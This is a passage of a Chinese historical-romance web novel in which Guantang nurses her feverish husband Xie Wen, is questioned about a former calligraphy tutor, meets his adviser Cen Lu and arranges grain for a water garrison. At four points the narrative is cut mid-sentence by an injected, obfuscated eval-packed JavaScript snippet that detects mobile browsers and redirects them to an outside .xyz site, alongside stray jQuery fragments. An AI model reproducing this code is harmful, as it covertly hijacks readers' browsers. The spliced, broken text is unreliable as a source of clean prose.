日上三竿后，观棠陪着达妍昭习字说话。一日很快过去，她浅学了几句苍梧话，但这话发音与官话相去甚远，甚至有些地方引人发笑，一时之间屋内都是笑闹声。 用晚膳时，钟嬷嬷倒是提了一嘴道：“夫人，我瞧那西厢的灯还是暗的，看来姑爷今天也不回来了。” 观棠捏着筷子含糊道：“他明日应该就回来了。” 钟嬷嬷讶异道：“姑爷同夫人说了？” 观棠摇了摇头，没有接话，只是在心中想，粮仓的事愈闹愈大，即便在官驿里都能听见外头的动静，他要是再不回来，那梧州州衙恐怕就要被掀了。 吃过饭，没过不久达妍昭就困得直揉眼，观棠让那大户的丫鬟带着她去洗漱睡觉，二人在里屋窸窸窣窣，没一会儿丫鬟出来，说达妍昭睡着了。 她这么一睡，屋子里也就静了下来，观棠见做针线的钟嬷嬷和站在一旁的核桃接连打了好几个哈欠，让她们早些回房歇息，夜里有采禾便好。 于是众人各自回屋，采禾打来一盆温水，观棠正将手泡在水盆里走神，透过达妍昭睡的里间黑漆漆的窗户，突然看见对屋有光亮投入屋内，被窗棂分成了一片明暗交错的棋盘，洒在地上。 谢闻回来了？竟如此悄无声息？ 她边想着，边从水盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297634|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中抬起了手，采禾见她也未拿帕子擦一擦，就径直去拿那挂在架子上的外衣，忙道：“夫人，先将手擦净吧。” 观棠的手便停在那半空中，手上的水顺着她的手腕直往胳膊袖子里钻，令她心中发痒。采禾上前来将她袖子挽了起来，仔细擦了一遍，又从架子上取下外衣，倒是问也不问地替她穿好了。 观棠知道她向来话少，不知为何，现在又想要采禾出声，问她是不是要出门，要出门做什么。 这样一来，也许她就能理所当然地道出，自己是想去找谢闻商议一下如何给戎墟水寨那三百石粮食的事。这两日赵令羽也知晓了衙城粮仓一事，允诺观棠多花些时日去筹粮，但她总不好一味地拖着水寨众人。 然而采禾只是静静地站在一旁，一声不吭地。 她没法，只好清了清嗓道：“我晚上吃多了，想去院子里消消食。” 采禾点点头，似乎十分笃信这就是她要出门的理由。 见采禾神情透着一股子理所当然，观棠咬了咬牙，最终还是转身出门了。 走到院子里，果然看见一整排西屋的灯火皆燃了起来，如此阵仗，应当确是谢闻回来了。 观棠心中犹疑，不知自己是否该去见他，正在原地踌躇，便见西屋的门突然开了，德庆抬着盆水从里头走出来。院子里黑漆漆的，但他一转到廊庑下，便看见了观棠，立刻止步喊了声：“夫人。” 观棠低低应了声，抬步走到他面前问：“你家郎君歇下了吗？” 德庆还抬着温热的水盆，自然摇头道：“还未。”德庆说完，回头看了一眼西屋，似下定决心般，开口道：“夫人，郎君前几日受了伤，这两日又在外奔波，现下有些不适。我想着去找个大夫来给郎君看看，您可否进屋瞧瞧郎君。” 观棠听了他的话，也下意识看了眼西屋，那屋门半敞着，烛火摇曳，好似有个人影轻轻动了一下。 像被烫到似的，观棠收回了目光，却见面前之人正神情恳切地望着自己，她无奈道：“你去吧，我去看看他。” 德庆喜不自胜，端着盆就要走，观棠轻咳一声道：“放这儿，我让采禾来处理。” 德庆依言放下了盆，拱手行了个礼，离开了院子。 观棠回到屋内，见采禾还穿着鞋坐在床沿，看样子是在等她，有些抱歉道：“采禾，院子廊庑下头放了盆水，你去换盆热的端来西屋可好？” 采禾应声起身出去了，观棠扫视了一圈屋内，听着达妍昭平静的呼吸，自己的心口却怦怦直跳。过了一会儿，她找出些自己备在身边的药，一并带着往西屋走。 推开那扇半掩着的屋门，观棠站在门口，轻声试探道：“谢少行？” 屋子里静悄悄地，没有人应。 她心中奇怪，抬脚走进屋子。这西屋的格局与东屋一般无二，观棠轻轻踩着脚步往里走。 里间并未点灯，一片漆黑，她屏息又往前探了几步，倏地，男子沉重的呼吸传入耳中，听着并不规律。 观棠复又退了出去，将手中物什放在桌上，拿起烛台重新走到里屋，果见谢闻正合衣躺在床上。 男子身上穿的并不是前日他们分别时的那件绿色襕衫，而是一身玄色窄袖袍，也许是太过仓促，此人连头上的束发都未拆下便沉沉睡去了。 观棠将灯烛放到一旁的矮几上，伸手去探谢闻的鼻息，只觉这呼吸好似笼屉上的水蒸气般烫手，她思索了一会儿，最终还是将手放在了谢闻的额头上。 感觉到一只柔软而微凉的手落在额前，对于被灼热侵袭着全身的谢闻而言，不亚于久旱逢甘霖。此刻的他神志尚未清醒，身体却已先一步将那只冰凉如玉的手腕紧紧攥住。旋即，他才像是确认了什么般，眼睫微颤，睁开了双眼。 33.第 33 章 观棠只觉握着自己手腕的那只手像一块烙铁，又烫又沉。 她忙道：“谢闻，是我。” 男子的目光停留在她面上的片刻，观棠心底突然涌起一种怪异的感觉。谢闻的目光像是穿透了自己，落在了她身后的某个虚无处，又像是在凝视着她。但很快，男子松开了手，随后半撑着坐起了身。 “你怎会在这里？”他的声音沙哑干涩，透着深深的疲惫。 观棠道：“德庆去替你找大夫了，让我来屋子里看着你些。” 见他并不答话，她半是自言自语半是戏谑地说：“你堂堂一个经略安抚使，为何身边人这么少？” 没想到谢闻却很快回了她的话：“我从前在房州，一个人待惯了。” 观棠有些惊诧道：“你当年是从房州一路考到汴京的？” 房州地处荆湖北路，在大兆初年被囚禁晋王高光燐。 晋王乃太祖血脉，太宗从兄长手中继位后，惧怕太祖的子孙夺位，即刻将其子女全部驱离了汴京。因此，房州虽非偏远之地，但一直被视作流放州。此地师资生源皆为末流，能通过会试便已是凤毛麟角，谢闻竟是以这样的地方为起点，一步步连中三元，观棠想，若称此人为天才恐怕都不为过。 她的话音才落，谢闻眼中骤起波澜，只不过那床帷挡去了大半烛光，观棠又在想着房州的事，并未觉察。最终，将眼底无声翻涌的浪涛强压了下去，谢闻低下头轻笑了一声，说：“夫人似乎从未了解过我。” 观棠一时无言，只好说：“彼此彼此。” 她说完这句话后，见面前之人身子一僵，以为他牵动了伤口，赶忙道：“是伤口不舒服吗？要不我扶你躺下吧？” 却听男子道：“天色不早了，夫人还是早些回屋吧。” 这话宛若逐客令。 观棠倏地从床榻边站了起来，说：“我答应了德庆要看着你，便不会食言。你若不喜……”她说到这里，被自己语气中那股子愠怒吓到，马上止了话头。深吸了一口气，观棠恢复平静道：“我去外屋待着，若有需要随时喊我。” 她说完，转身离开了里屋。 等她到案几旁的椅子上坐下时，心下顿觉怔忪，不知自己方才为何有些失态。思来想去，可能是刹那间捕捉到了谢闻话里行间的厌恶与抗拒，像是突然在椅垫上摸到前一日做女红时落下的针，细密又难以忽视的疼痛便引得她阵阵烦闷。 在这样漫长而无声的等待里，采禾来过一次，端来了水，问她还有旁的要备的吗。观棠看了眼里屋，让采禾去后厨叮嘱一声不要熄炉火，万一大夫来了要开方子，再生火煎药就要到后半夜去了。 采禾领命去了。 她以为谢闻已经睡去了，和采禾交代的时候声音极轻，不料采禾阖上门以后，里屋却传来了男子的低咳声。观棠看了眼桌上的茶缸，伸手摸了摸，尚有点温度，便倒了一杯端进了里屋。 经过方才的那番对话，他二人似已达成一种缄默的默契，她没有说一句话，谢闻也是，只是伸手接过水，咕咚咕咚咽下，随后将茶杯递给了她。 观棠看着手中干干净净的茶杯，还是忍不住道：“要不要再倒一杯？” 自她进入屋子以后，谢闻的体温其实越升越高，方才这么小的一杯温茶下肚，便如往那烧得滚烫的铁锅上浇了一碗水，他直感觉自己五脏六腑都蒸腾了起来，愈发难捱，忍不住埋下头低吟了一声。 见他如此，观棠有些无措。 他们观家的孩子自来身子骨好，在观棠的记忆里，她只生过两次卧床不起的大病，一次是小时候出痘，还有一次是十四岁来月事后突然风寒发热，折腾了小半个月才养好。 她没有什么生病的经验，更没有照看病人的经验，但看他这般难耐，观棠攥着杯子蹲下身，抬起头看着半伏在床榻边上的他道：“你稍等等，我去找人来。” 她捧着杯子的动作像是在寺庙里进香的香客，有一种难以言说的虔诚感。谢闻凝视着观棠白净的面庞，想到方才那只放在自己额间的手，柔软，冰凉，这时，一种强烈的渴望猛地攫住了他，令他没来得及思索便抬手挥开了她手中的杯盏。 瓷杯落在地上，发出叮当两声脆响，随后便打着滚儿跑远了，观棠却只顾呆愣愣地看着眼前这人拉着她的手，随后紧紧贴到了他那滚烫的面颊上。 就好似在沙漠中行走了几天几夜的旅人，终于寻到一处绿洲水源地，谢闻长舒口气。 手掌心传来的热度烫得骇人，简直就像是将手放在碳炉旁，但她见他方才还紧锁的眉头骤松，终究是没有把手抽出来。 过了不知道多久，就在观棠以为这一直闭着眼的人不知是陷入昏迷还是沉睡时，忽明忽灭的火光下，她突然听见一个声音像是从很远很远的地方传来，又像是就抵在她耳旁。 “我想问你……当年在观家……一位法书师……他……” 他的声音含糊不清，但观棠却清晰地辨出了“法书师”这三个字。 这一刻，仿佛一盆冰水冲她兜头倒下，冷意从脖颈后头一点一点蔓延到了头顶，就连紧贴着热源的肌肤都感受到了一丝寒战，只听男人继续道：“你可知……他去了何处？” 他的话问完，观棠一直蹲着的身子似终于坚持不住，收回手跌坐到了地上。 似感觉到了什么，谢闻缓缓睁开了眼，有些模糊涣散的视线最终凝于眼前的女子面上。 他只觉她的脸色十分煞白，仿佛所有血色都褪尽了，就连放置在一旁案几上，她带入屋内的烛火都无法照暖半分。 女子的眼神里翻涌而来慌乱和惊恐，以及在那之下，更深的地方，还藏着一种无处遁形的……羞愧？ 这一刻，就好像一汩寒泉缓缓淌过他的四肢百骸，不光带走了他身上那些肆意蒸腾的热气，还让他恢复了几分清明神志。 谢闻以肘撑榻坐起身，这一姿态的转变使得他更像是从高处俯视坐在地上的观棠，他那一双因为高热烧得通红的眸子，就好似西天庙内的罗刹，望之生畏。 观棠僵硬地摇了摇头，开口道：“此人……建安三年便离开了观家。” 谢闻只觉气血翻涌，重咳了两声，随后道：“去往何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302758|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处。” 观棠将目光移向了一旁，脑海中浮现在汴京与薛潜的那次偶遇，最终开口道：“不知下落。” 谢闻看着她的模样，只觉这将门女无论是勇还是莽，这些天在梧州做了这么多的事情，却唯独不会……瞒。 他很清晰地意识到，此时此刻，观棠在骗他。 若她如此回护此人，是否说明当年观家真的曾经参与了旧党的那次围剿？ 她是他妻，她不记得他二人曾在扬州书院见过，不知道他独自在房州度过了五六年卧薪尝胆般难熬的日子，不知道这些年他数次打探她和观家的消息……那她是否知道，她曾间接地害死过他的老师？而那位真正的罪魁祸首，也许如今仍在观家的庇护下安然度日，又或者早就化作一捧黄土，埋在他不知道的地方。 这七年间，百结愁肠无昼夜，谁曾想老天爷竟将她送到了自己身边作枕边人…… “你……当真不知道？”他沙哑的声线似弦，微微发颤。 观棠回转看向谢闻，迎着男子那般带着威压的审视目光，不知为何，她觉得自己方才还纷乱不定的心绪好似突然平静了下来。 她缓声开口道：“此人因我的过错被逐出了观家，我父亲从此以后不允观家任何人提及。后来，我曾在汴京偶然撞见过他一次。” 在汴京？ 谢闻还想问些什么，但嗓子一紧，又猛地重咳了起来。 观棠见状，从地上起身道：“我去给你倒杯水。” 她没有管方才的杯子落到了哪里，随便拿起桌上的一个空杯子，直到倒水的时候，才发现自己的手在微微发抖。 眼前仿佛出现了那夜焚毁书稿的火光，将她的双眸灼得酸痛。 当年发生那件事以后，她只觉自己闯下了弥天大祸。听说其中牵涉的人数众，就连老师和学子都纷纷下狱，若非伯父在京中尚有根基，在旧党弹劾之前收到风声，命人速速把观晏送到延州大营里，否则恐怕连他都会被牵连其中。 父亲久居京中，深谙明哲保身之道，此事虽波及了观家，但也没有伤及母亲的利益，所以无论是父亲还是母亲，到头来竟都没有严厉地斥责她。 但越是没有人告诉她，她犯下了无可挽回的错，越是没有人同她说，这是累及他人性命的罪孽，于观棠而言，这份自责和痛苦也就越深。就好像一个逐年堆叠在心头的雪球，越滚越多，越滚越大，直至令她喘不过气。 而这份源源不绝的痛苦，也成为了一种力量，像是有个人不停地在她身后挥鞭抽打着她，让她要做更多的事，改变更多的事，救下更多人，如此才能够……赎罪。 因此，她才会在来到梧州后，将自己周遭所见之人的生与死都紧系在自己身上，无论是罗城百姓还是青红，她都想要拼上自己的一切乃至性命去拯救。观棠深知，这不是出于一种真正意义上的无私，只是她为了能够短暂地浇熄那夜书稿燃起的业火罢了。 她从未想过的是，数年之后，竟会在这样一个夜晚，在这个远离京城的广南之地，面对着她名义上的夫君，收到了那份时隔多年的诘难。 34.第 34 章 千思万绪间，茶水沿着杯壁淌下，落在手背上冰凉。 观棠回过神，放下了茶缸，但还是有些怔然地望着那满溢的杯子，正犹豫着要不要就这样端过去，这时，身后的屋门被轻叩了两声，原是德庆带着大夫回来了。 观棠舒口气，上前道：“你回来得正巧，你家郎君还醒着。” 德庆行了个礼便领大夫进去，里屋几人的对谈声萦迂着入耳，过不一会儿静了下来，应当是开始诊脉了。 观棠实在不想在此逗留，于是去寻了两个官驿的小厮，令一人去厨房把采禾替回来，另一人守在西屋前听候吩咐，这才回到自己的屋子。 看着达妍昭在床上酣睡的恬静面容，观棠解下外衣，在床的外侧轻轻躺下。女孩平稳而规律的呼吸声驱散了她的一切愁绪，不知不觉间，观棠竟也睡去了。 然而，这一觉于她而言并不踏实。半梦半醒间，观棠看见自己站在一座高高的城楼之上，无数人正沿着她脚下的城墙往上攀。他们互相践踏，互相拉扯，以彼此的身体为梯，四下里哀嚎与惨叫声不绝于耳，但无人在意……突然间，无数利箭从她身后射向了城墙下的人。 紧接着她梦中的画面斗转，一具具惨白的枯骨留在了石砖缝隙里，就好像他们是被生生砌进那城墙里的，场面实在诡谲恐怖。 观棠脱力般地从梦中醒来，像是即将溺水而亡的人凭着最后一口气才终于浮出水面，她一边从床上坐起身，一边大口地喘息着。 窗外天光微现，院中仍静悄悄地，她想，谢闻应当安稳度过了昨夜。 众人用过早膳后，观棠令齐康去问问谢闻的情况，齐康回来报说后半夜用过药，谢闻烧退了些，但现在还睡着没醒。 观棠沉吟片刻道：“这两日你去西屋候着吧，总不好叫德庆就这样一个人顶着。” 齐康应声去了，过了半个时辰，却听西屋门前传来些人声，观棠还未说什么，栾慧进屋来同她道：“夫人，齐大哥去厨房看着熬药了，他让我来同你禀报一声，那……岑禄来了。” 观棠自那日药铺回来后隔日便同栾慧说了岑禄一事，这才知晓整件事最初竟是他同谢闻说的。 当时，见观棠一直沉默着没说话，栾慧立刻请罪：“夫人，我知错了，我千不该万不该直接去找郎主，怎么着都该等您醒来后先告诉您。” 观棠点点头，随后又说：“往后你遇到事，若我不在，阖府上下至多只能同采禾一人说。” 栾慧心中诧异，言外之意，无论是齐康还是季安他都要有所保留。不过观棠如此郑重地同他说，栾慧自当遵守。 此刻听说岑禄就在那对屋，观棠竟生出些好奇。她那日虽被这人伤了，但眼前是瓢泼的大雨，他又高坐在马匹上，完全没有看清他的模样。 于是她起身道：“我去看一眼。” 栾慧连忙跟在她身后。 这东屋和西屋之间是铺了青石砖的院子，但前几日下雨，院子里冒出许多湿腻的青苔，行走时极易滑倒，来回便都从围绕着院子的廊庑走。 观棠此刻足下生风，径直穿过院子走到了西屋，便见一个灰袍的中年男子立于门前，正背着身和德庆说着什么。此人身量不高，精干瘦削，听见脚步声倏然回眸，眼神好似鹰隼般锐利。 只是匆匆一瞥，这人很快低下了头拢袖行礼道：“岑禄见过夫人。” 德庆未料观棠与岑禄竟是这样在郎君不在的情况下相见，心中直打鼓，只跟着抬手行礼，大气不敢出。 观棠并不诧异岑禄如此迅速便推断出了她的身份，她自东屋而出，又穿戴齐整，若他当真有一瞬的迟疑，观棠便会觉得他与那日毫无顾忌挥鞭抽打她的人不是同一人。 只是见这人面上竟毫无惧色和悔意，观棠想，难道谢闻还没有和他说过此事？ 她的手不由自主地抚上了自己的脖颈，此处伤口已经结痂，但这几日时不时会发痒。 这时，见这位贵女夫人久久都不同他开口说些什么，岑禄暗道怪哉，悄悄抬起头，却见女子的衣袖甩了甩，顺着手的方向，正巧将她脖颈上一道深深的伤疤收入眼底。他自觉此举有些逾矩，连忙收回眼神。 见面前之人这忽上忽下的眼神，以及那嵬然不动的身子，观棠忽然明白过来，谢闻从头到尾都没有同此人说这件事。 这倒是有些出乎她的意料。 谢闻宁愿替岑禄担下她的怒意和嫌恶，也不愿告知他这件事，难道此人对谢闻极为重要？心中有了个猜测，观棠开口道：“你可曾居于房州？” 将半面掩于袖袍，岑禄的身子更低了些，开口道：“回夫人，未曾。岑某乃两浙路明州人士，后迁居汴京，从未到过房州。” 不是陪谢闻度过那段岁月的房州人士，口音也已辨不出乡音，说明此人久居汴京，年岁又如此长于谢闻……观棠思忖片刻，认为此人倒极有可能是新党门下某人的门客，被安排到了谢闻的身边。 难怪，难怪谢闻不责咎他。 一丝几不可察的讥诮自她眼底闪过。 昨夜谢闻迷蒙间追问她薛潜之事，说明新党这些年其实一直在寻找此人下落，虽不知谢闻从何知晓这人曾是她的法书师，但他若因此与她划清界限，倒也可以理解。 况且，对于这些为官之人而言，内宅女又如何比得上一个得用的谋士呢？ 昨日彻夜的梦魇使得她的身子如被石磨重碾，但在厘清这一切后，骤然松懈了下来。 冤也好，债也罢，到底是弄清楚了她大婚那夜被他冷眼相对的原因。 想到这里，观棠愈发庆幸自己那日在马车上同他说抛却夫妻虚名一事的话。 另一边，德庆却愈发焦躁不安了起来。这岑先生一早要来给谢闻请安，他言说谢闻还未起，也许是因为接连两日都被谢闻丢在官驿里，心中不忿，此人好似他老家村口的倔驴，偏生要守着等谢闻起来。 他实在忧心岑先生被对屋的夫人瞧见，便再三劝阻，到底还是将观棠引来了。 也许是他二人的对话声传入了屋内，这片刻的静默中，门前众人听见谢闻在里头唤德庆，后者听见，如临大赦般地转身进屋去了。 见德庆二话不说地走了，岑禄正在原地踌躇，却见面前的女子扬唇笑道：“岑先生，我们一同进去看看你家郎主吧。” 他本就想见谢闻，得了观棠这话，自然喜不自胜，带着一丝难掩的笑意抬步进屋，兀自走到了里间谢闻的床前行礼道：“大人身子好些了吗？” 谢闻昨夜吃过药，又睡了五六个时辰，此刻算是恢复了大半，见到两日未见的岑禄，正想说什么，却听见一个轻巧的脚步声逐渐靠近，随后，观棠走了进来。 她穿着藕荷色罗纱褙子，下系朱砂红百迭裙，头戴玉冠，仅着淡妆，整个人清丽得好似一朵开在莲叶上的荷花，耳畔坠着的两颗圆润剔透的珍珠便如荷花上的露水，更显气质端华。 霎时间，昨夜种种俱涌入了谢闻的脑海，视线也不由自主地飘向了她交叠放在身前的那双手上。 这时，只见面前的女子翩然垂首，行了一个极为端庄的万福礼，声音清脆道：“郎君晨安。” 这下，就连跟在观棠身后的栾慧脚步都顿了顿，待他回过神，立刻看向了那还坐在榻上的谢郎君，见对方不知是因为彻夜缠绵病榻，还是因为被观棠与岑禄同时到场的场面骇到，面色实在是有几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307942|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……灰白如土。 片刻后，谢闻低咳了几声，随后说：“夫人同安。” 观棠松开握在一起的双手，掌心朝岑禄指了指，道：“方才我与这位……岑先生，”念到岑先生三个字，观棠咬字重了些，“说了好些话，是不是吵到郎君歇息了？郎君莫怪。” 此刻，不光是栾慧，连向来迟钝的德庆都捕捉到了观棠语气中那一丝若隐若现的讥讽，惶然地看向了谢闻。 听了观棠的话，谢闻神色微动，呼吸也沉重了几分，几息过后，他抬起头对岑禄道：“你先回去吧，此处为内宅所居，若无我的传唤，往后莫要再踏入。” 岑禄并未从方才观棠的言语中捕捉到什么，只觉谢闻自来梧州以后实在是阴晴不定，但他仍一如往常将象州防御使等人的信件交予自己，说明他二人之间的信任未变……唯一变数便是这屋内的观氏女。 想到方才谢闻所说的“内宅”，岑禄回身看了一眼此女，眼神里难掩探究，引得观棠毫不掩饰地蹙起了眉头。 栾慧不知观棠与谢闻是如何商榷此事的，却见岑禄显是在他家大人面前吃了个闭门羹，心中一喜，甚至稍稍侧了个身子，好给岑禄让出离开里屋的路。 他的动作很快令岑禄捕捉到了其中的轻视，转瞬便将方才被谢闻冷遇的怒火通通算在了观氏女头上。一声不吭地，岑禄朝谢闻行了个礼，径直走了。 观棠实未料到谢闻对待岑禄的态度竟与她方才在门前所想大相径庭，又见这岑先生带着愠怒和不满走了，她继续待在此地的兴致骤然消散，想速速同谢闻商议她这两日在心中的盘算，便开门见山地说：“我听说此地官粮已经难以支撑，昨日我给我的姨母去信，请她替我购入些粮食，但运往此地恐怕还需要些时日。你走了两日，可是寻到法子了？” 谢闻听了观棠所说，心头微动。梧州官粮之事闹得如此大，她不知晓才怪，但她竟如此快地去信购粮，说明已经判断出此次水灾不止这一方州县了，整个广南西路都被影响。 于是忍不住抬眸去看观棠，却见她已经收敛了神色，与方才岑禄在时的生机模样截然不同，只好道：“我从柳州带回了些粮草，可再撑半月。” “柳州并未遭灾？”观棠疑道。 这与她最初所想十分不同，她以为郁江上下游都已遭灾。 谢闻摇头道：“柳州情况尚可，能拿出来一些。” 他并未详说的是，借着那日栾慧在兵马营误损的弓弩，他已将柳州负责军需的转运司牢牢掌握在手中。 柳州的驻军规模庞大，周边各州皆仰其军需供给，梧州自在其列。弓弩机巧，造价不菲，采买的时候倒是极易被用来做账贪墨。那日，当他将弓弩丢到转运司使面前时，莫说是借调官粮了，便是要当场掏空柳州的粮仓，为了保全性命，此人恐怕也不敢说一个“不”字。 虽是一笔令他不齿的勾当，但若能换来梧州片刻安宁，他也愿意，毕竟……这是眼前女子用性命为此地搏出来的生门。 观棠听他所言，略松口气，随后问：“那能否匀出来三百石余粮？这是我当初答应了戎墟水寨来援梧州的报酬。” 谢闻在心中盘算了一会，道：“我只能先给他们半数，剩下半数，我可写下欠条交与知寨，待回到静江府再调运给他们。” 观棠知道谢闻此法总比让赵令羽等人空手而归要好，准备待她所购的粮草到了，再多补些给水寨。思及此，她忙道：“你放心，这三百石粮食我日后定悉数奉还。” 谢闻见她言之凿凿，已然如当日在马车上所言的夫妻变作商贾，万事银货两讫。 想到这里，他心中竟涌起了一股说不清道不明的烦闷。 35.第 35 章 见谢闻神色不明，观棠思忖着是否要将那些役满水寨兵的事一道同他说了，这时，齐康端着餐食和刚熬好的药进了屋。 观棠不知这药里有什么，能叫人连其中的苦味都嗅出来，便对齐康说：“你先将这药拿到屋外，等郎主吃过早饭再拿进来。” 齐康依言将餐食在桌上布好，端着药出去了。 观棠走过去看了一眼，清粥淡菜，三个茶碗盖大小的梅菜饼子，同她早上吃的并无区别，她不想打搅谢闻吃饭，很自觉地离开了西屋，嘱咐齐康待谢闻吃完了来告诉她一声。 过了约莫半刻，齐康来寻，观棠便起身去西屋。进屋的时候，正巧看见谢闻端着药碗，连眉头都不皱一下便仰头饮尽了。 舌尖似也品出那股子苦味，观棠揉了揉脖子上发痒的伤口，未料男子再抬眼时，双眸赤红，似乎是在强压着口中霸道的药味。 她想，到底还算是个正常人。 谢闻这一去一回两日，梧州官衙诸事皆罢，听他命德庆去拿官服，观棠虽不诧异，还是开口道：“你这就要出去了？” 谢闻闻言看了过来，目光有些沉甸甸地，声音也是：“夫人有事？” “我还有件事想同你商榷。”观棠遂将水寨兵的事说了，谢闻见她这一个晨间来来回回却都只是为了戎墟水寨的事，拧起眉道：“可还有别的，都一并说了罢。” 观棠一怔，这是……不悦了？ 她左思右想，还是道：“我那日进梧州城，救下了一个孩子，水灾的时候她被家里人抛弃了。她并非汉人，我……我想将她带在身边。” 谢闻面露些许意外之色。 见他这般，观棠咬牙道：“若这件事于你而言有难处，我就将她带到静江府，再寻个好人家收养。” “这于我而言有什么难处？” 他这话问得极快，好似一阵疾风骤雨。 观棠短短半个时辰里与他说了几桩事，又都是有所求于他，再谈及达妍昭时，便有些讷然：“你是此地经略安抚使，一举一动都有人盯着，若突然收养一个外族小孩……” “此事无妨。”谢闻眉间稍展，沉声道：“只是你要想清楚，若真的将她带在身边，恐怕得像汉人女子那般，请内训教导她诗书礼仪……” 他说到内训二字，突然止了声，只因他突然想起，昨夜烧得迷迷糊糊间竟开口向她提及了当年那个法书师。 看着面前女子袖口处的指尖无意识收拢，随后慢慢攥作了一团，谢闻闭了闭眼睛。 他知道，她这是与他想到一处了。 屋内气氛凝滞，两人心口都像被什么堵着，再没有人说一句话。 这时，捧着官服站在一旁的德庆思来想去，走过来道：“郎君，该换药了。” 仿佛这才回过神，观棠道：“我不打扰你了。” 见她迫切想离开，谢闻面色微动，冷声道：“把东西放下吧，出去等我。” 他的话令观棠身子一僵，眼睁睁看着德庆一声不吭地放下手中物什，走到一旁打开屋门出去了。 栾慧和齐康守在门口，见德庆出来了，以为观棠会紧随其后，目光正往后望，没想到他很快将门阖上了。 于是二人相望一眼，均不敢出声。 此时，屋子里的空气都仿佛带着锋芒，正一寸寸剜过观棠的皮肤，引得她阵阵颤栗。 仿佛想要避开谢闻的目光，观棠将头偏向了一旁，这一动作恰好将她的脖颈露在了领子外头，那道结了痂的伤痕再无遮掩，如同一道突兀的印记刻在细腻的肌肤上。 谢闻看着这道深痕，开口道：“你说得对。” 观棠一愣，兜转目光向他。 “岑禄伤你之事，是我没有处理好。” 原以为他要重提薛潜的事，观棠甚至做好了准备面对一切，没想到他话锋一转，竟又落回了岑禄身上。观棠想，也许是因为方才她跟此人一道出现，才令他重新思考起这内宅与外务之事。 “我向你保证，往后此人不会出现在你面前。” 观棠听罢，微微蹙眉道：“倒也不必如此……” “还有，你所说的孩子无论是送人还是养在身边，都由你定夺。今日我会命人将那一百五十石粮食交到你所说的队将手中，至于那些役满之人，我也会一一处理。但是……我想向你确认一件事。”他交代诸事的语速愈发快了起来，与最后顿显迟疑的那几个字形成鲜明对比。 听着谢闻所说，观棠只觉有什么东西要从心口跳出来，擂鼓阵阵，要她凝神集中所有的力气才能压下去，因此，谢闻紧接着说的话就像是从很远的地方飘过来似的。 “那个法书师……当真被逐出了观家？” 当这番话真的传入耳里时，周遭的一切声响好像都消散了，又好像连屋子一角蜘蛛结网的窸窸窣窣声都能听见。 这真是一种奇怪的感受。 观棠一边想着，一边缓缓开口道：“是的，我父亲深恨此人，命家中诸人从此以后不可再提他一个字一句话，否则即刻逐出家门。” 似难以相信观棠所言，谢闻竟背过了身去，叫她看不见他的面容。过了一会儿，他抬手用指腹揉了揉眉心，深吸一气道：“昨夜你说，后来你在汴京撞见过他。” 静默片刻，观棠开口将那日在文房铺子发生的一切说了，当听到薛潜问她缘何不喊老师时，谢闻瞳孔微缩。 老师二字，这人也配？ 说完这一切，观棠垂下了眸，望着地上那道被窗户外洒进来的阳光扯得颀长的男子的影子，她听见仍背对着她的人，用一种低沉而不容置喙的声音道：“好，我姑且信你。” 然而，谢闻的话却让观棠心中的不安又升腾了起来。他不追问父亲为何深恨此人，不追问她为何连老师都不认便离开了文房铺子，是不是说明，他早就知道内里几乎所有的事？ 知道是她一笔一笔誊写下的十个字，才引发了那样一桩滔天的案子。 想到这里，观棠抬起了头，却发现不知什么时候，男子已经转过了身，正一错不错地看着自己。 屋外的光落在此人眼里，像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318899|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被般深不见底潭水般的眸子即刻吞噬。在这一眼望不到头的幽暗中，观棠的心慢慢沉静了下来。 这时，只听谢闻颇为慎重道：“你能帮我一件事吗？” “什么事？” 片刻后，看着谢闻褪去半身衣物，曝露在外的那道近一指宽的剑痕，观棠有些骇然。她方才答应替他上药，不料真正看见伤口时，又有些无从下手了。 谢闻的剑伤和她在药铺处理的那些兵士的皮外伤不同，创口至深，显然损及内里，也难怪这么多日过去了，他还会被累及发烧。 